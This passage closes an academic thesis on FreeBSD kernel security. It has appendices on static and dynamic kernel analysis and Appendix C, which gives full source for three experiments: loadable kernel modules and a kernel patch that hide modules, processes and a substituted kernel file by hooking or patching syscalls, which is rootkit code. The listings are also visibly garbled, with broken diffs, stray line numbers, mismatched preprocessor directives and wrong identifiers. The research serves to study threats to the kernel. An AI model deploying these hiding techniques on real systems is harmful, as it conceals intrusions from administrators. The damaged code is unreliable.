However, there are good reasons to stay with FreeBSD for the time being. Firstly, although FreeBSD is not a system designed for security, the FreeBSD Project does a good job in coping with this UNIX heritage. We regard the security mechanisms of FreeBSD to block the threats in an acceptable way. Albeit, with respect to kernel manipulation, it should be emphasized again that we can only speak of prevention here instead of avoidance. It remains to be seen to what extent the effort of the TrustedBSD Project, once reintegrated to FreeBSD, will improve the actual system security of FreeBSD or if it can even provide an approach to assure certain quality aspects. Secondly, there are perspectives other than security such as stability and performance that come into question. Yet, we do not rate FreeBSD in this case. Thirdly, there is much mature and widespread application software available for FreeBSD. This includes for example webservers, nameservers, database applications, and mailservers. Finally, with the above discussion in mind, we regard FreeBSD as one of the best of the currently available operating systems. At the moment there is nothing really better.

Nonetheless, in the long run it will be necessary to develop a brand new general purpose operating system, where security and assurance are addressed in its specification, design, and implementation [5].
Appendix A

Comprehending Kernel Sources

This appendix gives some hints on how to become acquainted with the kernel source code of FreeBSD.

First it is inevitable to have a reasonable knowledge of a concrete hardware architecture that is supported by FreeBSD. We chose the Intel IA32, where *The Unabridged Pentium 4* [45] is a very detailed but still easy to read text, from which Part 3 suffices well for a start. We presume the reader to be familiar with the C programming language as the major part of the kernel is written in this language. The ability of reading assembler code is a plus. *The C Programming Language* [10] and *Introduction to Assembly Language Programming* [7] provide a good reference. Importance is also attached to the functionality of the compiler and the layout of the compilation. While reading kernel source code *The Design and Implementation of the FreeBSD Operating System* [35] is a good reference providing information about the functionality of the subsystems of the kernel in a more abstract way.

Furthermore, several tools are needed to browse the source code. Our philosophy is to use common and simple tools rather than highly specialized ones. To display a source file and search within the file, an editor such as *vi* or *emacs* is recommendable. To search the whole kernel source tree for a string *searchstring* in order to find out, for example, the location of a declaration or a definition, one can use

```
freebsd% find /usr/src/sys/ | xargs grep -m "searchstring"
```

or variations of this combination of commands. Further use of *grep* is often necessary. One can also use the slightly more sophisticated *cscope* [25], which can be integrated in *vim* [28], for the same purpose. The complete kernel source code is located under */usr/src/sys/*. However, some header files are found under */usr/include/* and */usr/obj/usr/src/sys/GENERIC/*. In the latter case they are generated at compilation time.

When reading intensively a source file or a part of it, we strongly recommend to print out the file. During the time of this writing, we printed out about 1500 pages of source code using the following shell script to parametrize *a2ps*.

```
freebsd% cat prepare_print.sh

#!/bin/sh
FONTSIZE=8
```

75
This approach of reading the static source code without its execution is often referred to as static analysis. A combination with dynamic analysis, which is explained in Appendix B, additionally helps understanding the functionality of the kernel from the source.

Now that we know about the techniques, we give information on where to begin static analysis. Similar to the advises of the FreeBSD kernel hacker Robert Watson [54] we recommend starting with an exploration of the boot process at the entry point to the kernel \texttt{NON_GPROF\_ENTRY(btext)} in /usr/src/sys/i386/i386/locore.s. After doing some low level initialization, the C routine \texttt{mi\_startup()}, which resides in /usr/src/sys/kern/init_main.c, is called from locore.s. On behalf of \texttt{mi\_startup()} machine independent system initialization is done. In doing so, it is important to understand the functionality of the \texttt{SYSINIT()} macro, which is used to set up the kernel subsystems at boot time. When exploring the source code from this perspective, one can get a good overview of the composition of the complete system.

Another starting point for static analysis are the implementing functions of system calls. In /usr/src/sys/kern/syscalls.master all system calls and their implementing functions are listed. Most system call implementing functions are located in source files under /usr/src/sys/kern/. Reading the source code this way is likely to be easier than exploring the boot process. By a precise analysis of the system call implementing functions, one can get precise information about the services of the operating system.
Appendix B

Experimental Setup: Dynamic Analysis

While static analysis of the kernel means reading and comprehending the static source code, dynamic analysis makes use of a debugger program to track single machine instructions or commands of the C programming language that are actually executed on a target machine. A combination of both turned out to be very productive for an exact and extensive analysis of what happens in the kernel. Since dynamic analysis of a running kernel is a fairly special technique we present our remote debugging setup in this appendix. This description is derived from the somewhat outdated FreeBSD Developers’ Handbook [51].

We start with two FreeBSD 6.0 machines target and console, which are connected to each other via a serial line (null modem cable). There target acts as the target machine running the debugging kernel and console as the debugging console running the kernel debugger. In the following they are configured such that whenever target enters the debugger or reaches a debugging breakpoint, control is transferred to the debugging console on console. From there common debugging tasks such as single stepping, code listing, or querying variables and memory addresses are possible.

First we prepare the debugging kernel that will run on target and that must be present on console in order to provide debugging symbols and the source code. The following shell commands compile such a kernel with the right options taken from /usr/src/sys/conf/NOTES.

```
console# cd /usr/src/sys/i386
console# cp GENERIC DEBUGKERNEL
console# cat >> DEBUGKERNEL OPTIONS

options KDB
options DDB
options GDB

[CTRL-D]

console# cd /usr/src
console# make buildkernel
CFLAGS=-g KERNCONF=DEBUGKERNEL
```

```
target# cd /usr/src/sys/i386
target# cp GENERIC DEBUGKERNEL
target# cat >> DEBUGKERNEL OPTIONS

options KDB
options DDB
options GDB

[CTRL-D]

target# cd /usr/src
target# make buildkernel
CFLAGS=-g KERNCONF=DEBUGKERNEL
```
On `target` we install this kernel, check the serial port for the correct flags, and reboot.

```
target# cd /usr/src
target# make installkernel KERNCONF=DEBUGxKERNEL
target# grep -n hint.sio.0.flags /boot/device.hints
39:hint.sio.0.flags="0x80"
```

Afterwards we can decide whether to break execution on `target` to enter the debugger via the bootprompt

```
OK root -d /boot/kernel/kernel
[...]
Stopped at kdb_enter+0x2b: nop
db> gdb
db> s
```

or via the appropriate system control.

```
target# sysctl debug.kdb.enter=1
```

The last step is to enter the remote debugging console on `console` via the first serial port `/dev/cuad0` as follows.

```
console# cd /usr/obj/usr/src/sys/DEBUGxKERNEL
console# kgdb -r /dev/cuad0 kernel.debug
[...]
GNU gdb 6.1.1 [FreeBSD]
[...]
Switching to remote protocol
[...]
#0 0xc0657823 in kdb enter (msg=0x23 <Address 0x23 out of bounds>) at cpufunc.h:60
60          __asm __volatile("int $3");
(kgdb)
```

Since this console provides the well known GDB functionality [47] we skip its explanation. We just allege a typical example – namely the setup for an analysis of the loading stage of a KLD. For this purpose we set a breakpoint at the `kldload()` function, which is called to service the KLD load system call, and then continue to initialize the loading of the KLD on `target`. See the following shell session.
target# sysctl debug.kdb.enter=1

(kgdb) break kldload
Breakpoint 1 at 0xc0631630:
file /usr/src/sys/kern/kern_linker.c, line 755.
(kgdb) continue

Breakpoint 1, kldload
(td=0xc15b6900, uap=0xcb5ebd04) at
/usr/src/sys/kern/kern_linker.c:755
755 char *pathname = NULL;

(kgdb) list
750 /*
751 int
752 kldload(struct thread *td, struct
753 kldload_args *uap)
754 {
755  char *kldname, *modname;
756  char *pathname = NULL;
757  int error = 0;
758  td->td_retval[0] = -1;
(kgdb) step
[...]

target# kldload ./mykld.ko
Appendix C

Source Code

This appendix contains the full source listings of all conducted experiments.

C.1 Experiment 1: Hiding a Module

Listing C.1: /home/alm/exp1/hide-module-v1.c

```c
#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/sysproto.h>
#include <sys/sx.h>
#include <sys/lock.h>
#include <sys/queue.h>
#include <sys/cdefs.h>
#include <sys/syscall.h>
#include <bsm/audit_kevents.h>

#define AS(name) (sizeof(struct name) / sizeof(register_t))

#define DEBUG

struct module {
    TAILQ_ENTRY(module) link;
    TAILQ_ENTRY(module) flink;
    struct linker_file *file;
    int refs;
    int id;
    char *name;
    modeventhand_t handler;
    void *arg;
    modspecific_t data;
};

static int mymodid;
static int myfileid;

/*
 * Definition of malicious versions of system calls.
 */
```
static int mymodnext (struct thread *td, struct modnext_args *uap)
{
    int error = 0;

    error = modnext(td, uap);
    if (td->td_retval[0] == mymodid){
        uap->modid = mymodid;
        error = modnext(td, uap);
    }
    return (error);
}

static int mymodfnext (struct thread *td, struct modfnext_args *uap)
{
    int error = 0;

    error = modfnext(td, uap);
    if (td->td_retval[0] == mymodid){
        uap->modid = mymodid;
        error = modfnext(td, uap);
    }
    return (error);
}

static int mykldfirstmod (struct thread *td, struct kldfirstmod_args *uap)
{
    int error = 0;

    error = kldfirstmod(td, uap);
    if (td->td_retval[0] == mymodid){
        td->td_retval[0] = 0;
        error = ENOENT;
    }
    return (error);
}

static int mykldnext (struct thread *td, struct kldnext_args *uap)
{
    int error = 0;

    error = kldnext(td, uap);
    if (td->td_retval[0] == myfileid){
        uap->fileid = myfileid;
        error = kldnext(td,uap);
    }
    return (error);
}

static int mykldfind (struct thread *td, struct kldfind_args *uap)
{
    int error = 0;

    error = kldfind(td, uap);
    if (td->td_retval[0] == myfileid){
        td->td_retval[0] = -1;
        error = ENOENT;
    }
    return (error);
}

static int mykldstat (struct thread *td, struct kldstat_args *uap)
{
C.1. EXPERIMENT 1: HIDING A MODULE

```c
int error = 0;
if (uap->fileid == myfileid){
    error = ENOENT;
} else{
    error = kldstat(td, uap);
}
return (error);
}

static int mymodfind (struct thread *td, struct modfind_args *uap){
    int error = 0;
    error = modfind(td, uap);
    if (td->td_retval[0] == mymodid){
        td->td_retval[0] = 0;
        error = ENOENT;
    }
    return (error);
}

static int mynodstat (struct thread *td, struct modstat_args *uap){
    int error = 0;
    if (uap->modid == mymodid){
        td->td_retval[0] = -1;
        error = ENOENT;
    } else{
        error = modstat(td, uap);
    }
    return (error);
}

#ifdef DEBUG
static int mykldunload (struct thread *td, struct kldunload_args *uap){
    if (uap->fileid == myfileid){
        uap->fileid = 0;
        return (kldunload(td, uap));
    }
    return (kldunload(td, uap));
}

static int mykldunloadf (struct thread *td, struct kldunloadf_args *uap){
    if (uap->fileid == myfileid){
        uap->fileid = 0;
        return (kldunloadf(td, uap));
    }
    return (kldunloadf(td, uap));
}endif

/*
 * Definition of corresponding sysent structures.
 */

struct replace_sysent {
    int num; /* system call number */
    struct sysent my; /* my version of system call */
```
```c
struct sysent orig; /* original version of system call */

static struct replace_sysent replace_sysent[] = {
    { SYS_modnext, /* modnext */
        { SYF_MPSAFE | AS(modnext_args), (sy_call_t *)(syst_modnext), AUE_NULL },
        { 0, NULL, AUE_NULL }
    },
    { SYS_modfnext, /* modfnext */
        { SYF_MPSAFE | AS(modfnext_args), (sy_call_t *)(syst_modfnext),
            AUE_NULL },
        { 0, NULL, AUE_NULL }
    },
    { SYS_kldfirstmod, /* kldfirstmod */
        { SYF_MPSAFE | AS(kldfirstmod_args), (sy_call_t *)(syst_kldfirstmod),
            AUE_NULL },
        { 0, NULL, AUE_NULL }
    },
    { SYS_kldnext, /* kldnext */
        { SYF_MPSAFE | AS(kldnext_args), (sy_call_t *)(syst_kldnext), AUE_NULL },
        { 0, NULL, AUE_NULL }
    },
    { SYS_kldfind, /* kldfind */
        { SYF_MPSAFE | AS(kldfind_args), (sy_call_t *)(syst_kldfind), AUE_NULL },
        { 0, NULL, AUE_NULL }
    },
    { SYS_kldstat, /* kldstat */
        { SYF_MPSAFE | AS(kldstat_args), (sy_call_t *)(syst_kldstat), AUE_NULL },
        { 0, NULL, AUE_NULL }
    },
    { SYS_modfind, /* modfind */
        { SYF_MPSAFE | AS(modfind_args), (sy_call_t *)(syst_modfind), AUE_NULL },
        { 0, NULL, AUE_NULL }
    },
    { SYS_modstat, /* modstat */
        { SYF_MPSAFE | AS(modstat_args), (sy_call_t *)(syst_modstat), AUE_NULL },
        { 0, NULL, AUE_NULL }
    },
    { SYS_kldunload, /* kldunload */
        { SYF_MPSAFE | AS(kldunload_args), (sy_call_t *)(syst_kldunload),
            AUE_NULL },
        { 0, NULL, AUE_NULL }
    },
    { SYS_kldunloadf, /* kldunloadf */
        { SYF_MPSAFE | AS(kldunloadf_args), (sy_call_t *)(syst_kldunloadf),
            AUE_NULL },
        { 0, NULL, AUE_NULL }
    }
};
#endif DEBUG
```
C.1. EXPERIMENT 1: HIDING A MODULE

static int myhandler (struct module *module, int what, void *arg){
  int error = 0;
  struct replace_sysent *p = replace_sysent;
  switch (what) {
    case MOD_LOAD :
      /* save my module and linker file id */
      mymodid = module->id;
      myfileid = module->file->id;
      for (p = replace_sysent; p->num > 0; *p++){
        /* backup old syscall */
        p->orig = sysent[p->num];
        /* replace with my system calls */
        sysent[p->num] = p->my;
      }
      #ifdef DEBUG
      printf("Loaded malicious module. Linker file id: %d. Module id: %d\n", myfileid, mymodid);
      #endif
      break;
    case MOD_UNLOAD :
      /* restore original sys calls */
      for (p = replace_sysent; p->num > 0; *p++)
        sysent[p->num] = p->orig;
      #ifdef DEBUG
      printf("Unloaded malicious module\n");
      #endif
      break;
    default :
      error = EOPNOTSUPP;
      break;
  }
  return (error);
}

static moduledata_t my_malicious_module_data = {
  "my_malicious_module",
  myhandler,
  NULL
};

DECLARE_MODULE(my_malicious_module, my_malicious_module_data, SI_SUB_DRIVERS,
SI_ORDER_MIDDLE);
```c
#include <sys/mutex.h>

#define DEBUG

typedef TAILQ_HEAD(, module) modulelist_t;

struct module {
    TAILQ_ENTRY(module) link;
    TAILQ_ENTRY(module) flink;
    struct linker_file *file;
    int refs;
    int id;
    char *name;
    modeventhand_t handler;
    void *arg;
    modspecific_t data;
};

static int mymodid;
static int myfileid;

/* global list of linker files */
extern linker_file_list_t linker_files;

/* global list of modules */
extern modulelist_t modules;

/* next free ids for modules resp. linker files */
extern int nextid;
extern int next_file_id;

extern struct mtx kld_mtx;

/* Module handling. */

static int myhandler (struct module *module, int what, void *arg){
    int error = 0;

    switch (what) {
        case MOD_LOAD :
            /* save my module and linker file id */
            mymodid = module->id;
            myfileid = module->file->id;

            /* remove from list of linker files */
            mtx_lock(&kld_mtx);
            TAILQ_REMOVE(&linker_files, module->file, link);
            mtx_unlock(&kld_mtx);

            /* decrease reference count of kernel linker file */
            linker_kernel_file->refs--;

            /* remove from list of modules */
            TAILQ_REMOVE(&modules, module, link);

            /* decrease number of next available module id */
            nextid--;

            /* decrease number of next available linker file id */
            next_file_id--;
            
            #ifdef DEBUG
            printf("Loaded malicious module. Linker file id: %d.
Module id: %d", myfileid, mymodid);
            #endif
            break;
    }
}
```
C.2. EXPERIMENT 2: HIDING A PROCESS

printf("Our Payload is just this message!\n");
break;
case MOD_UNLOAD :
    error = 0;
break;
default :
    error = EOPNOTSUPP;
break;
}
return error;
}
static moduledata_t my_malicious_module_data = {
"my_malicious_module",
myhandler,
NULL
};
DECLARE_MODULE(my_malicious_module, my_malicious_module_data, SI_SUB_DRIVERS,
SI_ORDER_MIDDLE);

C.2 Experiment 2: Hiding a Process

Listing C.3: /home/alm/exp2/exp2-install.diff

diff -u -r ../../src-orig/sys/kern/init_main.c ./kern/init_main.c
+++ ./kern/init_main.c Sun Mar 19 21:13:32 2006
@@ -368,6 +368,7 @@
p->p_flag = P_SYSTEM;
p->p_sflag = PS_INMEM;
p->p_state = PRS_NORMAL;
+    p->p_hidden = 0;
    knlist_init(&p->p_klist, &p->p_mtx, NULL, NULL, NULL);
    p->p_nice = NZERO;
td->td_state = TDS_RUNNING;
diff -u -r ../../src-orig/sys/kern/init_sysent.c ./kern/init_sysent.c
+++ ./kern/init_sysent.c Sun Mar 19 21:30:50 2006
@@ -2,7 +2,7 @@
/* System call switch table. */
* DO NOT EDIT-- this file is automatically generated.
+* $FreeBSD$
* created from FreeBSD: src/sys/kern/syscalls.master,v 1.198 2005/07/08
15:01:13 jhb Exp */
@@ -271,7 +271,7 @@
 { 0, (sy_call_t *)nosys, AUE_NULL }, /* 239 = timer_getovrun */
    { SYF_MPSAFE | AS(nanosleep_args), (sy_call_t *)nanosleep, AUE_NULL }, /* 240 = nanosleep */
    { 0, (sy_call_t *)nosys, AUE_NULL }, /* 241 = nosys */
-    { 0, (sy_call_t *)nosys, AUE_NULL }, /* 242 = nosys */
+    { SYF_MPSAFE | AS(hideproc_args), (sy_call_t *)hideproc, AUE_NULL }, /* 242 = hideproc */
    { 0, (sy_call_t *)nosys, AUE_NULL }, /* 243 = nosys */
    { 0, (sy_call_t *)nosys, AUE_NULL }, /* 244 = nosys */
    { 0, (sy_call_t *)nosys, AUE_NULL }, /* 245 = nosys */
diff -u -r ../../src-orig/sys/kern/kern_proc.c ./kern/kern_proc.c
if (error)
    return (error);
  p = pfind((pid_t)name[0]);
  if (!p)
    return (ESRCH);
  if (p->p_hidden)
    return (ESRCH);

  if ((error = p_cansee(curthread, p))) {
    PROC_UNLOCK(p);
    return (error);
  }

  p = LIST_FIRST(&zombproc);
  for (; p != 0; p = LIST_NEXT(p, p_list)) {
    /* Skip embryonic processes.
     * Skip embryonic and hidden processes.
     */
    mtx_lock_spin(&sched_lock);
    if (p->p_state == PRS_NEW)
      mtx_unlock_spin(&sched_lock);
    else
      continue;
  }
  diff -u -r ../../../src-orig/sys/kern/kern_prot.c ./kern/kern_prot.c
+++ ./kern/kern_prot.c Sun Mar 26 17:39:51 2006
@@ -203,6 +203,47 @@
    (0);
  }
  /* Hide a process
+ * Hide a process
+ */
+#ifndef _SYS_SYSPROTO_H_
+*struct hideproc_args {
+  *  pid_t pid;
+}:
+#endif
+/* MPSAFE */
/* MPSAFE */
+int
+hideproc(struct thread *td, struct hideproc_args *uap)
+{
+  struct proc *p;
+  int error;
+  if (uap->pid == 0) {
+    p = td->td_proc;
+    PROC_LOCK(p);
+  } else {
+    p = pfind(uap->pid); /* returns with p locked */
+    if (p == NULL)
+      return (ESRCH);
+    if (p->p_hidden) {
+      PROC_UNLOCK(p);
+      return (ESRCH);
+    }
+    error = p_cansee(td, p);
+    if (error) {
C.2. EXPERIMENT 2: HIDING A PROCESS

100     PROC_UNLOCK(p);
101     return (error);
102 }
103 */
104
105 #ifdef _SYS_SYSPROTO_H_
106
107 static getuid_args {
108     int  dummy;
109
diff -u -r ../../src-orig/sys/kern/syscalls.c ./kern/syscalls.c
111 +++ ./kern/syscalls.c Sun Mar 19 21:30:50 2006
112 @@ -2,7 +2,7 @@
113 #if defined(_FreeBSD)
114     * System call names.
115 #endif
116
117 #endif
118 /* DO NOT EDIT-- this file is automatically generated.
120 */
121
122 diff -u -r ../../src-orig/sys/kern/syscalls.master ./kern/syscalls.master
124 +++ ./kern/syscalls.master Sun Mar 19 21:12:15 2006
125 @@ -447,7 +447,7 @@
126 240 AUE_NULL MSTD {
127     int nanosleep(const struct timespec *rqtp, 
128                    struct timespec *rmtp);
129     /* 239 = timer_getoverrun */
130     /* 240 = nanosleep */
131     /* 241 = nosys */
132     /* 242 = nosys */
133     /* 243 = nosys */
134     /* 244 = nosys */
135     /* 245 = nosys */
136
diff -u -r ../../src-orig/sys/sys/proc.h ./sys/proc.h
137 --- ../../src-orig/sys/sys/proc.h Sun Mar 19 21:11:26 2006
138 +++ ./sys/proc.h Thu Mar 30 16:18:23 2006
139 @@ -588,6 +588,7 @@
140 240 struct pargs;  /* (c) Process arguments. */
141     struct { /* (j) Current CPU limit in seconds. */
142     rlim_t  p_cpulimit;
143     /* (c + j) Process "nice" value. */
144     int p_nice;
145     /* (j/c) Make process hidden */
146     /* End area that is copied on creation. */
147 #define p_endcopy p_xstat
148
diff -u -r ../../src-orig/sys/sys/syscall.h ./sys/syscall.h
149 --- ../../src-orig/sys/sys/syscall.h Sun Mar 19 21:11:26 2006
150 +++ ./sys/syscall.h Sun Mar 19 21:30:50 2006
151 @@ -2,7 +2,7 @@
152     * System call numbers.
153 #endif
154 /* DO NOT EDIT-- this file is automatically generated.
155 */
156
157
APPENDIX C. SOURCE CODE

+++ ./sys/syscall.mk Sun Mar 19 21:30:50 2006
@@ -1,6 +1,6 @@

# FreeBSD system call names.
# DO NOT EDIT-- this file is automatically generated.
+# $FreeBSD$

# created from FreeBSD: src/sys/kern/syscalls.master ,v 1.198 2005/07/08 15:01:13 jhb Exp

MIASM = 
  
  clock_settime.o 
  clock_getres.o 
  nanosleep.o 
  hideproc.o 
  ntp_gettime.o 
  minherit.o 
  rfork.o 

diff -u -r ../../src-orig/sys/sys/sysproto.h ./sys/sysproto.h
--- ../../src-orig/sys/sys/sysproto.h Sun Mar 19 21:11:26 2006
+++ ./sys/sysproto.h Sun Mar 19 21:30:50 2006
@@ -2,7 +2,7 @@

* System call prototypes.
+* DO NOT EDIT-- this file is automatically generated.
+ * $FreeBSD$

+ * created from FreeBSD: src/sys/kern/syscalls.master ,v 1.198 2005/07/08 15:01:13 jhb Exp

* -u -r ../../../src/orig/sys/sys/syscall.h ./sys/syscall.h
+++ ../../../src/orig/sys/sys/syscall.h Sun Mar 19 21:11:26 2006
@@ -1,6 +1,6 @@

+* $FreeBSD$

+ * created from FreeBSD: src/sys/kern/syscalls.master ,v 1.198 2005/07/08 15:01:13 jhb Exp

*/
C.3 EXPERIMENT 3: MANIPULATION OF FILE ACCESS

Listing C.4: /home/alm/exp3/hide-file-kld.c

```c
#include <sys/param.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/sysproto.h>
#include <sys/syscall.h>
#include <bsd/audit_kevents.h>
#include <sys/dirent.h>
#include <sys/proc.h>

#define DEBUG
#define LEAVEEXEC
#define AS(name) (sizeof(struct name) / sizeof(register_t))

/* Filename of hidden original kernel file. It must have the same length as 'kernel', which is 6. */
#define NAME_OF_ORIG_KERNEL "kernOK"

/* Definition of malicious versions of system calls. */

static int mygetdirentries (struct thread *td, struct getdirentries_args *uap){
    int error = 0;
    struct dirent *dp, *nextdp;
    int len;
    int reclen;
    int offset = 0; /* byte offset in dirent struct array */

    /* Returns:
        (1) The entries of the given dir as an array of dirent structs:
            uap->buf
        (2) The length of that array == Number of bytes transferred:
            td->td_retval[0]
    */
    error = getdirentries(td, uap);
    len = td->td_retval[0]; /* (2) */
    dp = (struct dirent *)uap->buf; /* (1) */
    error = 0; /* byte offset in dirent struct array */
    ```

C.3 Experiment 3: Manipulation of File Access
while (offset < len)
{
    reclen = dp->d_reclen; /* length of current entry */
    nextdp = (struct dirent *)((char *)dp + reclen);
    if (strcmp(dp->d_name, NAME_OF_ORIG_KERNEL) == 0)
    { /* delete current entry */
        bcopy(nextdp, dp, len - offset);
        len -= reclen;
    } else {
        offset += reclen; /* move offset over to the next entry */
        dp = nextdp;
    }
}

    td->td_retval[0] = len; /* return updated len */
    return (error);
}

/* This is not very elegant, but we will leave it for now.
*/
static int myopen (struct thread *td, struct open_args *uap)
{
    int error = 0;

    if (strcmp(uap->path, "./kernel") == 0)
    {
        strcpy(uap->path, NAME_OF_ORIG_KERNEL);
        error = open(td, uap);
        strcpy(uap->path, "/kernel");
    } else if (strcmp(uap->path, "." NAME_OF_ORIG_KERNEL) == 0)
    {
        strcpy(uap->path, "/boot/kernel/kernel");
        error = open(td, uap);
        strcpy(uap->path, "/boot/kernel/kernel");
    } else {
        error = open(td, uap);
    }

    return (error);
}

#define LEAVEEXEC
static int myexecve (struct thread *td, struct execve_args *uap)
{
    int error = 0;

    error = execve (td, uap);
    return (error);
}
#endif

/* Definition of corresponding sysent structures.
*/

struct replace_sysent {
    int num; /* system call number */
    struct sysent my; /* my version of system call */
    struct sysent orig; /* original version of system call */
};
C.3. EXPERIMENT 3: MANIPULATION OF FILE ACCESS

```c
static struct replace_sysent replace_sysent[] = {
    { SYS_getdirentries, /* getdirentries */
        { SYF_MPSAFE | AS(getdirentries_args), (sy_call_t *)mygetdirentries, AUE_NULL },
    },
    { SYS_open, /* open */
        { SYF_MPSAFE | AS(open_args), (sy_call_t *)myopen, AUE_NULL },
    },
    #ifdef LEAVEEXEC
    { SYS_execve, /* execve */
        { SYF_MPSAFE | AS(execve_args), (sy_call_t *)myexecve, AUE_NULL },
    },
    #endif
    { -1, {0, NULL, AUE_NULL} , {0, NULL, AUE_NULL} }
};

#define LEAVEEXEC

/* Module handling. */

static int myhandler (struct module *module, int what, void *arg){
    int error = 0;
    struct replace_sysent *p = replace_sysent;
    switch (what) {
    case MOD_LOAD :
        for (p = replace_sysent; p->num > 0; *p++)(
            /* backup old syscalls */
            p->orig = sysent[p->num];
            /* replace with my system calls */
            sysent[p->num] = p->my;
        }
        #ifdef DEBUG
        printf("Loaded malicious module.
");
        #endif
        break;
    case MOD_UNLOAD :
        /* restore original sys calls */
        for (p = replace_sysent; p->num > 0; *p++)
            sysent[p->num] = p->orig;
        #ifdef DEBUG
        printf("Unloaded malicious module\n");
        #endif
        break;
    default:
        error = EOPNOTSUPP;
        break;
    }
    return error;
}

static moduledata_t my_malicious_module_data = {
    "my_malicious_module",
    myhandler,
    NULL
};
```
DECLARE_MODULE(my_malicious_module, my_malicious_module_data, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
Bibliography

General References


**Technical References**


List of Figures

2.1 Layered System Architecture ........................................... 8
2.2 Protection Domains ...................................................... 8
2.3 ISA Interface .............................................................. 9
2.4 Protection Domains of a Trusted Operating System [12, p.265] ...... 14
2.5 UNIX Protection Domains ................................................ 15

3.1 The Process Structure [35, p.83] ....................................... 21
3.2 Memory Image of a User Process ....................................... 23
3.3 I/O and IPC Classification ............................................... 40

4.1 Accesses of routines and data ......................................... 46
Listings

3.1 /home/alm/example1.c .......................... 22
3.2 /usr/src/sys/i386/i386/machdep.c .............. 25
3.3 /usr/src/sys/i386/i386/machdep.c .............. 26
3.4 /usr/src/sys/i386/include/segments.h ..... 26
3.5 /usr/src/sys/i386/i386/exception.s ......... 27
3.6 /usr/include/machine/frame.h ................. 28
3.7 /usr/src/sys/i386/i386/trap.c ................ 28
3.8 /usr/src/sys/sys/sysent.h ..................... 29
3.9 /usr/src/sys/kern/init_sysent.c .............. 29
3.10 /usr/src/sys/kern/kern_sysctl.c ............ 30
3.11 /home/alm/mykld/Makefile .................... 32
3.12 /home/alm/mykld/mykld.c ..................... 32
3.13 /usr/src/sys/kern/kern_module.c ........... 34
3.14 /usr/src/sys/sys/linker.h .................... 35
3.15 /home/alm/my-syscall/my-syscall.c ......... 35
3.16 /home/alm/my-syscall/use-my-syscall.c .. 37
3.17 /usr/src/sys/sys/sysctl1.h .................. 38
3.18 /usr/src/sys/sys/dirent.h ................... 41
4.1 /home/alm/exp1/hide-module-v1.c .......... 47
4.2 /home/alm/exp1/hide-module-v2.c .......... 48
4.3 /usr/src/sys/sys/proc.h ..................... 49
4.4 /usr/src/sys/kern/init_main.c ............... 50
4.5 /usr/src/sys/kern/kern_proc.c ............... 50
4.6 /usr/src/sys/kern/syscalls.master ........ 51
4.7 /usr/src/sys/kern/kern_prot.c ............... 51
4.8 /usr/src/sys/conf/newvers.sh ............... 53
4.9 /home/alm/exp2/hideproc.c ................... 53
4.10 /home/alm/exp2/malproc.c ................... 54
4.11 /home/alm/exp3/hide-file-kld.c ............. 55
C.1 /home/alm/exp1/hide-module-v1.c .......... 81
C.2 /home/alm/exp1/hide-module-v2.c .......... 85
C.3 /home/alm/exp2/exp2-install.diff .......... 87
C.4 /home/alm/exp3/hide-file-kld.c ............. 91
**List of Definitions**

| Definition 1 | Problem $\mathcal{P}$ | Page 3 |
| Definition 2 | Specification $\mathcal{M}(\mathcal{P})$ | Page 3 |
| Definition 3 | Implementation $\mathcal{C}$ | Page 4 |
| Definition 4 | Design | Page 4 |
| Definition 5 | Orderly System | Page 4 |
| Definition 6 | Correct System | Page 4 |
| Definition 7 | Security | Page 5 |
| Definition 8 | Security Policy | Page 5 |
| Definition 9 | Security Mechanism | Page 5 |
| Definition 10 | Breach of Security | Page 5 |
| Definition 11 | Confidentiality | Page 5 |
| Definition 12 | Integrity, Clean Data and Programs | Page 5 |
| Definition 13 | Availability | Page 6 |
| Definition 14 | Trustworthiness, Assurance | Page 6 |
| Definition 15 | Evaluation | Page 6 |
| Definition 16 | Trusted System | Page 6 |
| Definition 17 | Risk, Remaining Risk | Page 7 |
| Definition 18 | Verification | Page 7 |
| Definition 19 | Validation, Valid Specification | Page 7 |
| Definition 20 | Trusted Operating System | Page 10 |
| Definition 21 | Access Control Policy | Page 10 |
| Definition 22 | Discretionary Access Control (DAC) | Page 11 |
| Definition 23 | Mandatory Access Control (MAC) | Page 11 |
| Definition 24 | Trusted Computing Base (TCB) | Page 11 |
| Definition 25 | Access Control Mechanism | Page 12 |
| Definition 26 | Reference Monitor | Page 12 |
| Definition 27 | Reference Validation Mechanism (RVM) | Page 12 |
| Definition 28 | Security Kernel | Page 13 |
| Definition 29 | Failure, Dysfunction | Page 16 |
| Definition 30 | Vulnerability, Threat, Exploit | Page 16 |
| Definition 31 | Attack, Attacker, Incident, Target System | Page 16 |
| Definition 32 | Malicious Activity | Page 16 |
| Definition 33 | Manipulation | Page 16 |
| Definition 34 | Malicious Program, Intentional Dysfunction | Page 17 |
| Definition 35 | Malicious Process, Payload | Page 17 |
| Definition 36 | Penetration | Page 17 |
Index

procs, 38
-sysctl(), 38

access control mechanism, 11, 30
access control policy, 10
anti-malware, 64, 65
application program, 10
attack, 16
attacker, 16
availability, 6
avoidance, 61

backdoor, 45, 58
bogus file, 54
bottom half of the kernel, 9, 25
breach of security, 5
BSS area, 24

call gate, 9, 25, 26
code segment, 22
Common Criteria, 6
condentiality, 5
correct system, 4

DAC, see discretionary access control
data segment, 22
descriptor, 25
design, 4
detection, 62
device special file, 40
direct access, 46
directory, 40, 41
discretionary access control, 11
dynamic analysis, 77
dysfunction, 16

ELF, see Executable and Linking Format
encapsulation, 65
environment variable, 24

evaluation, 6
evaluation level of assurance, 6
exception, 8, 24
Executable and Linking Format, 21
execute disable flag, 23
exploit, 16

failure, 16
fifo, 14, 40
file descriptor, 14, 39, 40
flat model, 14, 22
FreeBSD, 14
	kernel, 19
guest operating system, 65

hardware interrupt, 24
hardware trap, 8, 25
heap, 24
hidden file, 54
hidden flag, 49
hierarchical paradigm, 14
highly secure mode, 69
host operating system, 65

I/O, 39
IA32, 19
IDT, see interrupt descriptor table
implementation, 3
incident, 16
indirect access, 46
insecure mode, 69
instruction set architecture, 8
integrity, 5
Intel IA32, see IA32
intentional dysfunction, 17
interprocess communication, 12
interrupt, 8, see hardware interrupt
interrupt descriptor table, 25
interrupt gate descriptor, 25
interrupt request line, 20
interrupt service process, 19
intrusion detection system, 64, 65
IRQ, see interrupt request line
jail identifier, 66
jails, 30, 63, 66
JID, see jail identifier
kernel
   FreeBSD-, 19
